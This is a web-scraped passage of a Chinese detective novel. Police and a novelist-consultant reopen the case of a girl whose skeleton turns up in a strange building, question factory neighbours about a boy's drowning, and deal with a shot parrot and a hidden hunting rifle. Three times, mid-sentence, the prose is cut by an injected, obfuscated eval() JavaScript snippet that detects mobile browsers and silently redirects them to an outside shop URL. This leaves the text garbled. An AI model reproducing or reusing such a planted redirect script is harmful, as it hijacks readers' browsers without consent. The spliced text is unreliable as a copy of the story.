3组办公室分两列总共有六个工位,中间的过道比较宽,过道最里面,挂着一块白板。 白板上方贴了一张夏木橙的照片,田海亮写下“凤仙街案”四个大字。 “法医根据骨骺的闭合程度推断,受害者夏木橙死于19岁,也就是2006年,她失踪后的第三年。” “死者头骨后脑勺有一处小窟窿,应该是钝器所伤,这是导致夏木橙死亡的致命伤。” “死者腹腔有一块胚胎指骨,根据胚胎发育情况判断,胚胎有26周大概6个多月。那就有两种可能,第一种可能是,死者曾经怀孕六个多月流产,但流的不干净,腹中残留了胚胎的骨头;第二种可能就是,死者被杀害时,怀了6个多月身孕,她腹中胎儿,在她受害后,被挖走了。我问了法医,第一种可能性很低,因为流产不可能留下胚胎骨头。第二种可能性也奇怪,死者被杀后,如果要取走胚胎,不太可能会留下一小截指骨。” 小耿接了一句:“是啊,胚胎那么柔软,就算是把胎儿拽出来,也不可能留下一小截手指头啊。” 刘泰安毕竟经验丰富,“也不是不可能。肉是软的,但变成白骨后,骨头是硬的、脆的……” 组员里经验最老道的田海亮早就推理出来了,但还是拍了个马屁:“还是头儿你厉害!确实有第三种可能,那就是受害者死后多年,变成白骨之后被再度移尸。” “法医在死者骸骨上,检测到了不属于凤仙街18号的泥土,这些泥土含盐量较高,比较特殊。”说着,田海亮在白板上写下“高盐泥土”。 刘泰安合上手上的资料:“也就是说,凤仙街18号那栋怪楼,不是第一案发现场。” 田海亮:“对!之前2组详细勘察了怪楼几乎所有角落,都没有发现血液反应。我们基本上可以排除怪楼是第一案发现场的可能性。” 刘泰安点头:“你继续。” “受害者骸骨被藏在地藏王菩萨的莲花底座里,旁边还有收音机24小时不间断循环播放佛经《往生咒》。根据最新的走访调查所知,怪楼传出怪音,是在三个月前。这个怪音,就是收音机播放《往生咒》的声音。”田海亮打开手机里的录音。 刘泰安:“也就说,受害者遗骨至少是三个月前被转移到怪楼。” “应该是。” 小耿:“难道凶手信佛?他做这些,是希望内心得到安宁?” 刘泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837534|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安不以为然:“囚禁、□□、杀人,坏事都做绝了,还希望得到佛祖保佑?!” 小耿:“那就是凶手想要装神弄鬼,吓唬周围居民,让别人不敢轻易靠近。” 刘泰安显然也不赞同。 吓唬人的同时,也会引起别人的注意。 有点说不过去。 他没接话。 田海亮总结:“结合现有信息,我们可以判断,8年前,死者受害后被偷偷掩埋在某处含盐量高的土里,但不知道出于什么原因,在至少三个月前,凶手把死者骸骨挖出并转移到了怪楼,在转移的时候,凶手可能担心尸骨被发现后会暴露自己的身份,所以把死者腹中胚胎的骸骨给单独掏走了,但百密一疏,留下了小小的一块指骨。” 刘泰安问:“这块指骨,能提取到DNA吗?” 田海亮:“已经提取了。如果找到嫌疑人,可以跟指骨DNA做亲子鉴定,以锁定凶手。” 这是目前本案最大的证物。 “怪楼的主人目前不在临城,2组之前联系过他的工作单位,人退休七年了,目前不知去向。” “还有一条线,与夏木橙一起失踪,两天后溺亡的梁小宇,真的是死于意外吗?对此,我是有疑问的。” “现在比较难的一点是,时间隔太久了,线索和证据太少,暂时无法判断这究竟是熟人作案,还是陌生人作案。” 田海亮说完,刘泰安补充了另外一些信息,才问小耿:“你说一下,我们现在能做什么?” 小耿是入职不到半年的新警察,他建议:“三个月前怪楼周围的视频监控估计都没有保存,我们可以尝试从收音机型号和太阳能板块上着手,看看有没有相关线索。还有死者骸骨上的泥土,也是一条线。” 刘泰安:“那无异于大海捞针。” 小耿:“……” 他马上又想了一个,“能不能利用好网络?现在论坛上,本案的热度非常高,很多人在上面追踪进度。” 刘泰安在这方面比较谨慎,他担心热度越炒越高,除了满足网友的好奇心,对案件毫无用处。 他侧头看向夏木棉,问:“木棉,你怎么看?” 从语气上,刘泰安并没有把木棉当成受害者家属。 从案件资料来说,夏木棉知道的不比他们多,但她比他们都更了解自己的姐姐。 “我姐姐性格比较温顺,她自小很懂事很恋家,她跟梁小宇早恋,我们家长辈都是睁只眼闭只眼的,我姐姐不太可能因为害怕老师向家长反应早恋的情况而离家出走。” 刘泰安:“你的意思,夏木橙和梁小宇是被动失踪,其实失踪当天就已经出事?” 夏木棉点头:“我不相信姐姐会离家出走。” 田海亮提出疑问:“但是,梁小宇是失踪两天后在临花江溺水的,死时他身上穿着自己的游泳衣。如果是被动失踪,不是提前计划好的离家出走,那他怎么可能会随身携带游泳衣呢?” 刘泰安略微沉吟:“打开思路各种可能性都有,我们接手后,先展开调查吧。” 就在这时,有人打了个呵欠。 夏木棉一回头,发现她前面那张办公桌不知道什么时候多了一个人。 她一眼认出了对方,高她好几届的师兄,当年大学里的风云人物——陆从景。 陆从景大学毕业后以优异成绩考上了省公安局,之后因身体原因离开警队。 这几年,他创作的西南侦探小说五部曲,凭借缜密的逻辑、跌宕起伏的一环扣一环的反转剧情,迅速风靡悬疑小说界,陆从景也一跃成为国内响当当的侦探小说家。 至于他为什么会成为这里的名誉顾问,夏木棉并不清楚内情。 刘泰安双手叉腰没说话,田海亮知道老大的意思,他回过头去,笑问:“从景,这个案子,你有什么看法?” 陆从景显然没怎么听他们分析案情,他怠懒地说:“没想法。” 也不知道刘泰安跟陆从景有什么矛盾,见对方不给面子,他直接无视:“来,我们快速分工,我去市局开会,刚好跟那边沟通DNA数据库比对的问题。小耿负责怪楼主人、收音机、太阳能板和骸骨泥土的调查;海亮负责死者关系网络的梳理,越详细越好,除了死者的关系网,还有梁小宇的关系网也要详细调查;木棉你配合海亮的工作。所有以上工作,需要人员配合的,自己去广智派出所或者其他部门要人。” 人少事情多。 显然3组的组员都习惯了,大家应了一声,便各自忙开。 夏木棉跟着田海亮,给他打下手。 两天后,原本说没想法的陆从景,忽然回头问木棉:“你那天说,你姐姐和梁小宇是被动失踪的?” 正在整理资料的夏木棉微微愕然地抬起头。 陆从景一瞬不瞬地看着她,漆黑如渊的双眼,似乎能窥探人心。 “我跟你看法一致。而且梁小宇不是死于意外,你姐姐跟他,应该是被同一个人杀的!” 夏木棉盯着陆从景,不知道为什么,她瞬间相信了他的话。 5. 第05章 警方找到了怪楼的主人,是在他妻子娘家找到的。 “白杨林,62岁,临天玉器厂退休员工,退休前长期居住职工宿舍。80年代末继承了台湾亲戚的一笔遗产,他模仿邮轮的结构给自己建了一栋小白楼,算是实现其自小想要成为航海员的梦想。” “白杨林三年前摔断左腿,目前行动不便,已经至少四年没回临城。基本上可以排除他是凶手的可能性。” “根据白杨林交待,他没给任何人小白楼的钥匙,门锁也不知道被谁换掉了。” “他还提供了一个很重要的信息,地藏王菩萨的雕像原本是放在一楼门口的,也就是现在放酱缸的位置,而酱缸原先放在二楼。” “地藏王菩萨雕像的莲花底座,里面原本是空的,人骨从最底下放进去后,用陶瓷板堵上,如果不是报案人不小心打碎了底座,一般很难发现内有乾坤。” 汇报完毕,小耿把资料递给旁边刚出差回来的同事程栋梁。 田海亮:“我们去现场做了案情还原,地藏王菩萨那尊佛像又大又重,一个人想要搬上7楼绝无可能。” 程栋梁明白了,“凶手不止一个人。” 田海亮:“是的,也有可能是凶手找了他认为信得过的人做帮凶。” 刘泰安问:“高盐泥土有没有进展?” 田海亮:“我们查了盐场、酱油厂、罐头厂和豆豉厂的泥土样本成分,没有相似的。” 大家快速同步了所有信息,刘泰安再次进行了工作分工。 之后,他瞄了陆从景一眼,对众人说:“还有一件事,陆从景要参与这起案件的调查。” 木棉发现各组员脸上都露出欣喜的笑容,看得出来,在这个小组,除了组长,都挺喜欢陆从景的。 也是,只要不是拖后腿的,拔河队伍里能多一分力,说不定是成败关键呢? “我们分成两条线进行调查,我这边是主线,陆从景辅线,想跟陆从景一组的,请举手,只能去一个人。” 田海亮和小耿你看看我,我看看你,两人不约而同举起了手。 田海亮虚招一晃,收回了手,他笑话小耿:“我就知道你小子最积极。” 程栋梁把资料放桌上,也不忘揶揄:“小耿你手上的活儿没干完,是不是想偷懒?” 小耿解释:“我帮头儿盯着景哥。” 刚做完笔记合上本子的夏木棉昨天终于探听到了内幕消息,原来刘泰安是陆从景的亲戚。 只是不知道因为什么,亲戚之间火药味有点浓。 刘泰安问陆从景:“你选谁?” 陆从景拧了拧微酸的脖子:“夏木棉。” “……”小耿都不愿相信自己不如一个才入职的新人。 肯定是陆从景不愿意让懂得多的掺和他调查案件。 忽然被架到了火上烤的夏木棉还没说话,刘泰安就迫不及待地宣布:“那就这样!” 仿佛甩走了一个包袱。 夏木棉不好再多说了。 等陆从景拿着本杂志出去,田海亮才走过来对她说:“他这个人难搞又独裁,他要是说话让你难受了,你别往心里去。有不懂的,你还是问我们。” 夏木棉点头:“知道了,谢谢亮哥。” 程栋梁递给木棉一个鹰嘴桃:“不想那么多,就不会有烦恼。吃桃,我洗过的。” “谢谢程姐。”木棉接过桃,咬了一口,脆甜爽口。 小耿伸手:“程姐,我也要一个。” “桌上,自己去洗。”程栋梁干活去了。 * 办公室其他人都出去了,只剩下夏木棉在整理线索。 陆从景不用坐班,他是想来才会来,行踪不定。 本以为他今天不会出现,下午两点左右,他打着呵欠进来了,手里拿着一个文件袋。 他把文件袋递给夏木棉,这是他找人从档案室复印出来的。 夏木棉打开一看,是梁小宇的尸检报告。 详细看了两遍,夏木棉把目光停留在了其中一处。 法医在梁小宇肺部发现了微量水网藻。 夏木棉的基础知识比较挺扎实,不需要查资料,她就脱口而出:“水网藻生长在湖泊、池塘、沟渠等水流相对静止的浅水区域,一般河流里比较少见。” “然后呢?” 夏木棉继续分析:“在河流里比较少见,但也不是完全没有。再加上梁小宇死时穿的是自己的泳衣,所以,警方最后还是判定为意外溺亡。” 陆从景说出了自己的假设,“如果杀梁小宇的是熟人,对方有办法拿到他的泳衣呢?” 夏木棉立刻明白过来:“师兄的意思是,梁小宇有可能是被溺死在水塘之类的地方,之后再被丢到临花江的!” 梁小宇的死亡时间是失踪两天后,那段时间造访过梁家的客人,都有偷泳衣的嫌疑。 大胆假设,小心求证! 半个小时后,陆从景和夏木棉来到了机械厂家属院15栋3楼。 梁小宇的母亲在失孤后自杀了。 他父亲梁国邦后来再婚又离婚,现在一人独居。 夏木棉提前给他通了电话,梁国邦在家里等候着。 梁家是三房一厅的格局,相对宽敞,当时梁国邦是厂办公室主任,这是属于他的福利房。 屋里到处堆放着杂物,很凌乱。 梁国邦满头银发,脸色死灰,眼神浑浊不清,整个人干瘦干瘦的。 “小宇和木橙失踪之后我们就报警了,那几天亲戚邻居还有厂里的同事来了不少人帮忙去找。家里进进出出的。” 梁国邦要给他们倒茶,结果热水瓶里没水。 夏木棉忙说:“大伯,你不用倒茶,我们不渴。” 陆从景:“警方前几天来找你做过笔录,你说你当时负责机械厂改组的人员简化,得罪了不少人,是吗?” “是得罪了好多人。”梁国邦努力回想着,“特别是贾伟东和卢照麟这两个,他们平时工作表现就不好,技术一般,又懒,狼狈为奸,在厂里人缘很差,我就把他们放进简化名单了。” 陆从景问:“贾伟东和卢照麟关系很好?” “他们是结拜兄弟,关系当然好。而我、老夏还有老曾我们三个也是结拜兄弟,当时他们就认为我特别关照自己兄弟,以权谋私,他们还联名去厂长那边告发我。大家关系闹的很僵。” 陆从景:“梁小宇失踪的时候,这两人什么表现?来你家了吗?” 梁国邦想都没想,直接摇头:“没有,他们怎么可能来家里帮忙,他们还在外面胡说八道,说我是遭报应。” 夏木棉清楚这边的房屋格局,她提醒:“卢照麟家就在隔壁。” 如果卢照麟从阳台偷偷溜进来偷走梁小宇的泳衣,并不难的。 “卢照麟住隔壁,两室一厅的房子。”梁国邦起身带陆从景去阳台。 梁家的阳台没有封,上面摆了四五个花盆,盆里只有干巴巴的泥土,没有花。 而旁边的卢照麟家则用防盗网封了阳台。 “他们家是什么时候封的阳台?” “我们小区是04年入住的,当时还没来得及封窗,小宇就出事了,后来就一直没有心思去管这些事。卢照麟他们家好像是05年还是06年封的窗。” 也就是说,2004年事发当时,卢照麟可以偷偷从阳台轻易翻越到梁家。 回到客厅,梁国邦小声问木棉:“是确定重启调查了吗?我听说前几天派出所特意调查了贾伟东。” 木棉摇头:“还不确定,大伯,今天我们的聊天内容,你不要跟其他人说。 ” “我晓得。” 木棉有段时间很讨厌梁国邦。 梁国邦跟她爸爸,还有戴丽华的丈夫曾立兴是结拜兄弟。 梁国邦老大,夏至民老二,曾立兴老三。 三家人关系非常好,梁国邦在工作上没少帮助两位义弟。 不过,在梁小宇和夏木橙出事后,一切都变了。 夏家为了寻找女儿虽然陷入了各种困境,但夏至民和钟静夫妻始终是一条心的。 可梁家不一样。 梁国邦和妻子叶红梅互不理解、互相埋怨、彼此折磨,导致叶红梅深度抑郁,最终自杀收场。 木棉认为大伯母的死,梁国邦是罪魁祸首,活该他孤独终老。 但看梁国邦现在这可怜模样,木棉忽然发现所谓的爱憎都没有意义,抓住凶手才是给逝者最好的祭奠。 他们想去询问卢照麟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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戴丽华也不好直说,“都差不多吧,他们说东方华府那边的房子户型没那么好。” “我现在住的小区也可以,一平方两万多,选套小的,一整套下来也就四五百万。” 四五百万…… 戴丽华尴尬笑了笑。 真要命! 要了她的命,她也拿不出这么多钱。 结果张越凝话锋一转,“房款我出,写我和曾晖的名字。” “!!!”戴丽华简直喜出望外,“这……你妈妈会不会有意见啊?” “不告诉她就好了。” 戴丽华紧紧握着张越凝的手,“小晖能遇见你,真是捡到宝了!这臭小子上辈子是积了什么德呀!” 张越凝也笑:“阿姨,你去问他,积了什么德?他才不觉得自己捡了宝。” “我来敲打他!这孩子可不识相了!”说着戴丽华再次试探,“什么时候,我们跟你妈妈见一见?两家人一起吃顿饭。” 这是催婚的意思。 张越凝端起桌上的水杯:“等曾晖忙完,我跟我妈约时间。” 戴丽华喜上眉梢:“可以啊,反正我们时间都很宽裕,工作日和周末都没问题,时间地点,你们家定。” “好啊。” 外面有鸟儿在乱叫,张越凝往阳台上张望。 家里不知道什么时候,多了一只鹦鹉。 聒噪的很。 戴丽华解释:“你叔叔捡了只别人不要的鹦鹉,哎哟,真难养。” 此时楼下,夏木棉在副驾室坐好,系上安全带。 陆从景忽然感叹:“你这位哥哥很厉害啊!” 夏木棉想了半天,哪位哥哥? 啊,曾晖,她三叔的儿子。 “我哥985大学毕业,在上市公司做法务,前途一片光明。而且他身高一米八五,长得英俊潇洒,跟凝姐很般配的。” 车辆起步,陆从景幽幽抛出一句:“不般配。” 陆大顾问平时对什么都爱答不理的,今天却在这里乱评论,夏木棉略有些无语。 “你认识我凝姐?” “我有一个想要重启调查的案子,张越凝是重要嫌疑人。” 夏木棉:“……” 6. 第06章 长得那么好看,眼神清亮又温柔的张越凝是谋杀案嫌疑人? 夏木棉震惊之余,实在不懂陆从景为什么要告诉自己这些情况。 陆从景看出了她的担忧:“你们不算亲戚,也没有其他利益关系,你不用回避。” 吉普车开出了机械厂家属院。 夏木棉不说话了。 她等着陆从景说下去,可他没再继续这个话题。 他们去机械厂调取贾伟东和卢照麟的资料。 贾伟东和卢照麟都在2004年机械厂改组前下岗的。 贾伟东一直没工作,也不愿意接受再就业培训,长年领取机械厂最低生活补贴,再熬三四年就可以退休了。 卢照麟相对好点,他打了两年零工后,去了临天玉器厂上班,但组织关系依然留在机械厂。 看到玉器厂的名字,夏木棉说:“怪楼的主人白杨林退休前也是在临天玉器厂上班的。这其中会不会有什么关系?” 她说这话的时候,陆从景已经在拨打小耿的电话。 “小耿,你帮我问一下白杨林,认不认识卢照麟,越详细越好。” 挂了电话,他吩咐夏木棉:“你编辑一条短信给小耿,把卢照麟的名字发给他。” “好。”上车后,陆从景看了眼时间,差一刻六点,卢照麟应该也已经下班。 他直接调头回机械厂家属院。 * 在13栋旁边的空地上停好车,刚下车,夏木棉就听见13栋传来吵架声。 听声音是戴丽华和贾伟东在吵架,吵的很激烈。 夏木棉知道贾伟东这人难缠又凶狠,她担心三婶会吃亏,“师兄,我上去看看。” 她三步并两步往楼梯口跑去。 13栋是机械厂家属院里户型最差的,其他都是一梯两户,只有这栋是一梯三户,戴丽华和贾伟东住隔壁。 “不是你还有谁?”戴丽华手里拎着一只死去的鸟儿跳脚,“除了你,不会有别人!” “你哪只眼睛看见我打死你们这破玩意儿的,有证据吗?” “我报警了!等警察来……木棉,你来得正好,贾伟东这不是人的东西,拿枪把我们家的鹦鹉打死了!就因为我上次说他是拖后腿吃软饭的,他就一直怀恨在心。” 贾伟东看见夏木棉跑上来,气焰不减:“哎,戴丽华,东西可以乱吃,话不能乱讲!我们家没有枪!” “别以为没人知道,你藏了一把猎枪!” “藏枪是犯法的!你少血口喷人!” 两人又吵起来。 “不要吵。”木棉横在他们中间,护着戴丽华:“三婶,你这只鹦鹉是在哪里被射杀的?” “家里阳台的鸟笼里。你三叔才养了几天的鹦鹉,就这么被枪打死了!” 陆从景也跟上来了。 “哎哟,陆顾问!您也来了。这太好了。”戴丽华赶紧把手中的鹦鹉举起来,“您快帮我们主持公道。” 贾伟东打量着陆从景,“谁啊?” “木棉的领导!刑侦大队的!”戴丽华腰杆挺得直直的。 看对方人多势众,还都是警察,贾伟东单手叉腰不说话了。 陆从景看了眼鸟儿身上的枪伤,是只非常瘦的鹦鹉,子弹把胸膛都打穿了。 木棉建议:“去阳台看看吧。” 戴丽华赶紧带他们进屋去阳台的“案发现场”。 阳台上晾晒的衣物已经收起来,靠右边的一只晾衣架上,悬挂着一个质量看起来并不怎么好的鸟笼,鸟笼里的食盆上有些许的水,地上散落着鹦鹉的羽毛,羽毛上有血迹。 “就在这个鸟笼里被射杀的。陆顾问你看看位置,距离他们家阳台最近!”戴丽华指向旁边贾伟东家的阳台。 跟进来的贾伟东马上反驳:“跟远近有什么关系?旁边这么多人家,那边还有老许家的窗户,对吧?对面12栋楼上楼下这么多户,谁都有可能!” 陆从景问戴丽华:“鹦鹉平时也是挂在阳台右边吗?” “才养了几天,一直挂在右边。” “他们就是故意挂在右边的,靠近我们家。这鹦鹉比跳广场舞的大妈还要吵!”贾伟东满脸愤恨。 戴丽华抓住贾伟东的话:“你承认了?吵着你,你就把我们家鹦鹉打死了!” “确实吵着我了。但你这破鸟不是我打死的!” 陆从景打量着头顶上的衣架没做声,木棉也摸不准他是想管还是不想管。 毕竟他只是顾问,可以不管。 木棉正要说话,陆从景语气非常平和地说:“根据鹦鹉伤口创面来判断,射击距离应该在4-5米之间,而且是平射,也就是说,子弹是从右边阳台射过来的。” 单看伤口就能看出这么多门道? 贾伟东坚决不承认:“不可能!” 戴丽华激动道:“是吧!我就说是你!贾伟东你真不是东西!木棉你领导太厉害了!” 夏木棉知道这对于陆从景来说,连小Case都算不上。 陆从景判断:“这应该是一把八九十年代流行的普通□□。” 贾伟东微微一愣,随即心虚摇头:“我没有这样的猎枪。” 夏木棉吓唬他:“根据刑法第一百二十八条规定,违反枪支管理,非法持有枪支弹药的,处三年以下有期徒刑……” 三年徒刑? 吓得贾伟东变了脸色,“没这么严重吧?” “坦白从宽,抗拒从严。东叔你好好想想。” 贾伟东大步往外走,“反正我们家没枪。” 戴丽华追上去,“贾伟东!你要是好好赔偿,我可以不告你!” 木棉提醒,“三婶,违反枪支管理属于刑事案件,跟你告不告没关系。” 他们从屋里出来,刚好碰见派出所出警的两位民警。 贾伟东回家想要直接把关门上,但被夏木棉一脚给卡住了。 派出所民警又叫来另外两个同事支援,之后才进屋搜查。 陆从景和夏木棉站在门口没进去。 戴丽华靠到木棉边上,好奇问:“真要判三年啊?” 夏木棉小声道:“没犯事的话,一般是罚款,最多判几个月缓刑。” “那不等于没判?” “留案底了呀。” “那也是。” 围观的邻居小声跟戴丽华说着话,这楼里没几个人不讨厌贾伟东的,现在就等着看他的笑话。 楼梯有人上楼来,是木棉三叔曾立兴和同层另外一住户许忠。 “怎么回事啊?那么多人在这儿围着?”曾立兴看见木棉,以为自己家出了什么事,忙问:“木棉,怎么了?” 不等木棉说话,戴丽华先吱声了,“贾伟东拿枪把你那只鹦鹉打死了!” 曾立兴惊呼:“我草他妈!他神经病啊?!” 戴丽华:“我前几天说话不小心得罪了他。谁知道他那么小气。现在想想,他本来就看你们兄弟几个不顺眼,没半夜拿枪把我们崩了就不错了。” “真是神经病!一笔烂账记十年八载!”曾立兴骂骂咧咧地说了几句,目光对上了陆从景,他掏出香烟递过去,“警察同志,抽烟!” 陆从景往他们脚下扫了一圈,随即挥手婉拒曾立兴递来的烟,“我不是警察。” 曾立兴看向木棉,眼神似乎在问,这谁啊? 夏木棉介绍:“我们刑侦大队的陆顾问。师兄,这是我三叔。” “哎哟!顾问啊?!”曾立兴热情伸出手,不管陆从景愿不愿意,直接握上手了,“看不出来,真是年轻有为!陆顾问多多关照我们家木棉。” 见陆从景被迫握手,木棉尴尬地把曾立兴拉开:“三叔!我们在执行公务。” “哦哦。”曾立兴识趣地收回手,他忍不住又跟旁边的邻居嘚瑟,“顾问!我们木棉的同事!” 许忠过来跟曾立兴夫妇说话,他平时跟贾伟东关系还不错,便试图缓和:“老贾这个人就是暴脾气,大家多年同事,又是邻舍,我看多一事不如省一事。不如就算了吧?” 戴丽华:“老许,不是我多事。是他打死了我家的鸟。现在警察要查他,木棉说了,他藏枪犯法,不是我说算就能算的。” 许忠手里提着个袋子,他笑问夏木棉,“不能算了呀?” 老好人许忠,平时就喜欢慷他人之慨,擅长和稀泥。 夏木棉皮笑肉不笑地说了声:“他犯法了。” 许忠无奈叹了一声,他站在贾家门口往里张望,之后才掏出钥匙开门。 刚打开门,他忽然想起什么,把手里的塑料袋子递给曾立兴:“老曾,你的鱼竿。” 听见丈夫又买鱼竿,戴丽华不高兴了,“你怎么又买?” 曾立兴赔笑脸:“啧,不贵。” 许忠帮腔道:“我们两个一起买的,有折扣,很便宜。以后钓了鱼可以拿到我们那边市场去卖。” 要不是这么多人围观着,戴丽华估计都想直接开骂了。 木棉忙把话题岔开。 几分钟后,民警从贾伟东房间搜出了一把猎枪和若干子弹。 这边贾伟东被带去了派出所,另外一头,陆从景和夏木棉去找卢照麟的路上接到了小耿的电话。 怪楼主人说,他以前跟卢照麟是同一个车间的同事。 才到15栋楼下,夏木棉又收到刘泰安的指示,等挂了电话,她追上陆从景,“师兄,头儿吩咐,让派出所的民警去传唤卢照麟,晚上一起审讯。” 陆从景停下脚步,很反感刘泰安每次都中间插一杠,打乱他的节奏,而他又无可奈何。 毕竟刘泰安的做法没有错。 * “名字?” “卢照麟。” 程栋梁:“知道为什么请你回来协助调查吗?” 卢照麟先是摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837536|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即马上问:“贾伟东藏枪的事吗?那就是一把老猎枪,他说留做纪念的。谁想到他会拿出来打鸟。” 程栋梁:“你跟贾伟东是什么关系?” 卢照麟大概五十岁模样,中等身材,两只眼睛略微有些浮肿,他挠了挠头发,说:“年轻的时候是结拜兄弟,关系还行。” 程栋梁:“说说你跟梁国邦的关系?” 话题跳的太快,卢照麟明显有些错愕:“梁国邦?我跟他能有什么关系?” 程栋梁厉声道:“认真回答。” 卢照麟:“以前不太好。他偏帮自己兄弟,把我给整下岗了。当年他儿子出事,我曾经说是他的报应,但看他老婆跳楼,他一夜头发全白了,我觉得他挺可怜的。所以后来我也没再找他麻烦。” 程栋梁:“2004年9月24日前后,也就是梁小宇失踪期间,你有没有去过梁国邦家里?” 卢照麟习惯性反问:“梁小宇失踪的时候?什么意思啊?” 程栋梁有些不耐烦了,“我问,你答!” 卢照麟被程栋梁这忽然提高的音量吓了一跳,没想到女警察也这么凶。 他赶紧回答:“我……我没去他家。那个时候我跟他们兄弟几个的关系都不好,怎么可能去凑这个热闹。” 程栋梁继续问:“你那段时间都在忙什么?” 卢照麟:“多少年以前的事了,我怎么可能记得?” 程栋梁:“好好想想。想不起来,也就是耗费大家的时间!” 卢照麟微微昂着头,似乎在努力回想着,“我下岗后就在家,没什么特殊的事。” 程栋梁盯着他:“2004年1月至2005年1月,一整年,你从事什么工作你不记得了?” 她敲了敲桌上的本子,“老实回答,我这里都有资料记录的!” 卢照麟不得不老实道:“我那段时间,晚上都会去天水坝帮别人看鱼塘。” 程栋梁:“刚才为什么不说?” 卢照麟大声辩解着,“我白天确实都在家啊,只有晚上才去天水坝。” “还跟我绕!” “警察同志,我怎么了?你不会怀疑我什么吧?” 程栋梁:“你觉得我怀疑你什么?” 卢照麟大概猜到又不敢说:“我不知道啊。但你刚才问我梁小宇……他不是去临花江游泳没的吗?你问我这一堆,把我搞蒙了。” 程栋梁:“继续!” 卢照麟满脸的无辜:“我继续什么?” “继续说。” “我……” 被晾了几分钟后,巨大的心里压力下,卢照麟不得不老实交代。 “梁小宇失踪那天,我和老贾去红猿山打猎了。” 程栋梁跟做笔录的同事互相看了一眼,又问:“有证人吗?” “红猿山脚下的村民薛冬华一家都可以给我们作证。” “去了几天?” “去了好几天,应该是四天。我们出发的时候,梁小宇还好好的,我回来就听说他出事了。当时我和老贾还开玩笑说梁国邦活该遭报应。警察同志,我们打猎是不对,但那是十年前犯下的小错误。” 而且都过了追诉期,警察拿他们也没办法。 “你和贾伟东去红猿山打猎的四天时间里,谁帮你看鱼塘?” 这个问题卢照麟想都没想就交待了:“许忠。机械厂的老同事,他家就住贾伟东隔壁。那段时间机械厂改组,工作很清闲,他白天上班,晚上帮我看鱼塘。” “你跟许忠关系很好?” “他经常来水坝钓鱼,平时也一起打牌,他这人比较大方,跟我们关系还不错。” 程栋梁;“许忠跟梁国邦、夏至民的关系怎样?” 卢照麟:“他跟夏至民关系挺好的,跟梁国邦也还可以吧。” 程栋梁又问:“他有你家钥匙吗?” 如果许忠有卢照麟家钥匙,从卢家阳台翻到梁国邦家偷泳衣是完全可能的。 这问题完全不搭噶,把卢照麟问糊涂了,他摇头:“没有。我就告诉他鱼塘值班房钥匙放门口石头下面。” 程栋梁:“你认识白杨林吗?” “白杨林?”卢照麟愣了一下,“玉器厂的同事。” “他摔断腿的事,你知道吧?” “知道。我们车间一个老同志跟他关系好,他说老白摔断腿,住在乡下不回城了,我也是从那位老同志的口中知道,白杨林是小白楼的主人。” “这件事你跟谁说过吗?” 卢照麟想了好一会儿,才道:“有一次打牌的时候跟许忠和贾伟东提起过。” “什么时候?” “一年多以前吧。” 许忠。 又是许忠。 今天下午在13号楼,陆从景对他印象还挺深。 在监控室观看审讯过程的陆从景,翻开了许忠的资料。 7. 第07章 审讯室里还在继续。 陆从景看了眼手表,差不多22点了,他还要回去赶稿。 “我先走了。” 刘泰安瞥他一眼,没接话。 小耿笑着跟他挥手,“明天见。” 拿了外卖进来的夏木棉看见陆从景从监控室出来,忙招呼:“师兄,来吃宵夜。” 陆从景:“我不吃了。你也早点回去吧。明天再来看笔录。” 这是她姐姐的案子,夏木棉肯定要陪着大家一起加班的,她摇头,“我还有资料没整理完。” 陆从景也没再说什么,而是往外走,出了大门。 夜晚空气微凉,凸起的上弦月高高悬在半空,像一张丰润的女人的脸,正幽幽看着他。 此时坐在窗前的张越凝,抬头看着窗外那有些发毛的月亮,心底说不上来的,有些惆怅。 手机屏幕亮起,曾晖发微信提醒她早点休息,两边家长见面的事,其实并不着急。 他知道她夹在中间为难。 【还不困。】 她给他回了一个搞怪的表情。 明天有个经济纠纷的案子要调解,她把资料整理好,放进了文件袋里。 楼下传来关门的声音,没多久,她母亲上楼来。 张芷琼一身深红色的休闲西服,耳朵上坠着C字鎏金耳环,她站在书房门口,问女儿:“怎么那么晚还在工作?” “你不也一样。” 听出女儿话语中多少有些情绪,张芷琼走前来,拉开椅子坐下。 “我不干涉你找男朋友,你偷偷的想找多少个都行。但结婚对象不一样。最起码,这几年你不要去想结婚的事。” 张越凝冷冷瞥了眼母亲:“你不就是想利用我钓着张蕤帆吗?” 张芷琼并不否认,“我又没逼你嫁给张蕤帆,我只是利用他给你争取最大的利益。” “那是给你自己争取最大的利益。” “我的以后不都是你的?” 张越凝知道母亲又在企图精神控制自己,她脸上的神经微微一颤,“小的时候你不是这么说的,你说我不配。” 若是在十年前,张芷琼肯定一巴掌兜过去,让她清醒清醒。 但如今女儿长大了,翅膀硬了,未来就算自己再有钱,她也还是不得不依赖女儿来掌控局面。 她不可能再像从前那样,肆意地在精神上或者身体上践踏对方。 “十年前,你爷爷从鬼门关挺过来了。但这次未必能。他已经在医院熬了半年,现在是最关键的时候。你就乖乖听话,不要功亏一篑。我们张家的钱,不能落在别人口袋里。” 提钱很庸俗,但也很现实。 张越凝单手按着文件袋没说话。 